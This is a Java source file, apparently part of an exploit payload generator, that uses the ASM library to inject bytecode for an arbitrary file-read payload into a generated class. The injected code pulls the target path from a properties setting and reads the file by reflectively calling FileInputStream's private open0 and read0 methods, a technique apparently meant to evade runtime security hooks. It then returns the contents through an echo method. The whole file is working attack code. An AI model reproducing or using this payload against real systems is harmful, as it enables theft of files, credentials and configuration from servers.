package org.su18.asm.payload;

import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import org.su18.utils.StringUtil;

public class FileRead implements Opcodes {

	public static void insert(String className, MethodVisitor mv) {

		Label label0 = new Label();
		Label label1 = new Label();
		Label label2 = new Label();
		mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
		Label label3 = new Label();
		mv.visitLabel(label3);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
		mv.visitLabel(label0);
		mv.visitLdcInsn(StringUtil.getCurrentPropertiesValue("read.file.path"));
		mv.visitVarInsn(ASTORE, 1);
		Label label4 = new Label();
		mv.visitLabel(label4);
		mv.visitTypeInsn(NEW, "java/io/FileInputStream");
		mv.visitInsn(DUP);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKESPECIAL, "java/io/FileInputStream", "<init>", "(Ljava/lang/String;)V", false);
		mv.visitVarInsn(ASTORE, 2);
		Label label5 = new Label();
		mv.visitLabel(label5);
		mv.visitLdcInsn("java.io.FileInputStream");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 3);
		Label label6 = new Label();
		mv.visitLabel(label6);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitLdcInsn("fd");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 4);
		Label label7 = new Label();
		mv.visitLabel(label7);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label8 = new Label();
		mv.visitLabel(label8);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitTypeInsn(NEW, "java/io/FileDescriptor");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/io/FileDescriptor", "<init>", "()V", false);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "set", "(Ljava/lang/Object;Ljava/lang/Object;)V", false);
		Label label9 = new Label();
		mv.visitLabel(label9);
		mv.visitLdcInsn("java.io.FileDescriptor");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 5);
		Label label10 = new Label();
		mv.visitLabel(label10);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitLdcInsn("attach");
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitLdcInsn(Type.getType("Ljava/io/Closeable;"));
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 6);
		Label label11 = new Label();
		mv.visitLabel(label11);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "setAccessible", "(Z)V", false);
		Label label12 = new Label();
		mv.visitLabel(label12);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/FileInputStream", "getFD", "()Ljava/io/FileDescriptor;", false);
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitInsn(POP);
		Label label13 = new Label();
		mv.visitLabel(label13);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitLdcInsn("open0");
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 7);
		Label label14 = new Label();
		mv.visitLabel(label14);
		mv.visitVarInsn(ALOAD, 7);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "setAccessible", "(Z)V", false);
		Label label15 = new Label();
		mv.visitLabel(label15);
		mv.visitVarInsn(ALOAD, 7);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitInsn(POP);
		Label label16 = new Label();
		mv.visitLabel(label16);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitLdcInsn("read0");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 8);
		Label label17 = new Label();
		mv.visitLabel(label17);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "setAccessible", "(Z)V", false);
		Label label18 = new Label();
		mv.visitLabel(label18);
		mv.visitTypeInsn(NEW, "java/io/ByteArrayOutputStream");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/io/ByteArrayOutputStream", "<init>", "()V", false);
		mv.visitVarInsn(ASTORE, 10);
		Label label19 = new Label();
		mv.visitLabel(label19);
		mv.visitFrame(Opcodes.F_FULL, 11, new Object[]{className, "java/lang/String", "java/io/FileInputStream", "java/lang/Class", "java/lang/reflect/Field", "java/lang/Class", "java/lang/reflect/Method", "java/lang/reflect/Method", "java/lang/reflect/Method", Opcodes.TOP, "java/io/ByteArrayOutputStream"}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 8);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/Integer");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Integer", "intValue", "()I", false);
		mv.visitInsn(DUP);
		mv.visitVarInsn(ISTORE, 9);
		Label label20 = new Label();
		mv.visitLabel(label20);
		mv.visitInsn(ICONST_M1);
		Label label21 = new Label();
		mv.visitJumpInsn(IF_ICMPEQ, label21);
		Label label22 = new Label();
		mv.visitLabel(label22);
		mv.visitVarInsn(ALOAD, 10);
		mv.visitVarInsn(ILOAD, 9);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/ByteArrayOutputStream", "write", "(I)V", false);
		mv.visitJumpInsn(GOTO, label19);
		mv.visitLabel(label21);
		mv.visitFrame(Opcodes.F_FULL, 11, new Object[]{className, "java/lang/String", "java/io/FileInputStream", "java/lang/Class", "java/lang/reflect/Field", "java/lang/Class", "java/lang/reflect/Method", "java/lang/reflect/Method", "java/lang/reflect/Method", Opcodes.INTEGER, "java/io/ByteArrayOutputStream"}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 0);
		mv.visitVarInsn(ALOAD, 10);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/ByteArrayOutputStream", "toString", "()Ljava/lang/String;", false);
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		Label label23 = new Label();
		mv.visitLabel(label23);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitLdcInsn("close");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 11);
		Label label24 = new Label();
		mv.visitLabel(label24);
		mv.visitVarInsn(ALOAD, 11);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "setAccessible", "(Z)V", false);
		Label label25 = new Label();
		mv.visitLabel(label25);
		mv.visitVarInsn(ALOAD, 11);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitInsn(POP);
		mv.visitLabel(label1);
		Label label26 = new Label();
		mv.visitJumpInsn(GOTO, label26);
		mv.visitLabel(label2);
		mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 1, new Object[]{"java/lang/Exception"});
		mv.visitVarInsn(ASTORE, 1);
		Label label27 = new Label();
		mv.visitLabel(label27);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitLdcInsn("\u6587\u4ef6\u8bfb\u53d6\u51fa\u9519\uff01");
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitLabel(label26);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKEVIRTUAL, className, "echo", "()V", false);
		Label label28 = new Label();
		mv.visitLabel(label28);
		mv.visitInsn(RETURN);
		Label label29 = new Label();
		mv.visitLabel(label29);
		mv.visitLocalVariable("path", "Ljava/lang/String;", null, label4, label1, 1);
		mv.visitLocalVariable("proxyFos", "Ljava/io/FileInputStream;", null, label5, label1, 2);
		mv.visitLocalVariable("fos", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label6, label1, 3);
		mv.visitLocalVariable("field1", "Ljava/lang/reflect/Field;", null, label7, label1, 4);
		mv.visitLocalVariable("fd", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label10, label1, 5);
		mv.visitLocalVariable("fd_method", "Ljava/lang/reflect/Method;", null, label11, label1, 6);
		mv.visitLocalVariable("m", "Ljava/lang/reflect/Method;", null, label14, label1, 7);
		mv.visitLocalVariable("m2", "Ljava/lang/reflect/Method;", null, label17, label1, 8);
		mv.visitLocalVariable("tempbyte", "I", null, label20, label1, 9);
		mv.visitLocalVariable("out", "Ljava/io/ByteArrayOutputStream;", null, label19, label1, 10);
		mv.visitLocalVariable("m3", "Ljava/lang/reflect/Method;", null, label24, label1, 11);
		mv.visitLocalVariable("ignored", "Ljava/lang/Exception;", null, label27, label26, 1);
		mv.visitLocalVariable("this", "L" + className + ";", null, label3, label29, 0);

	}

}
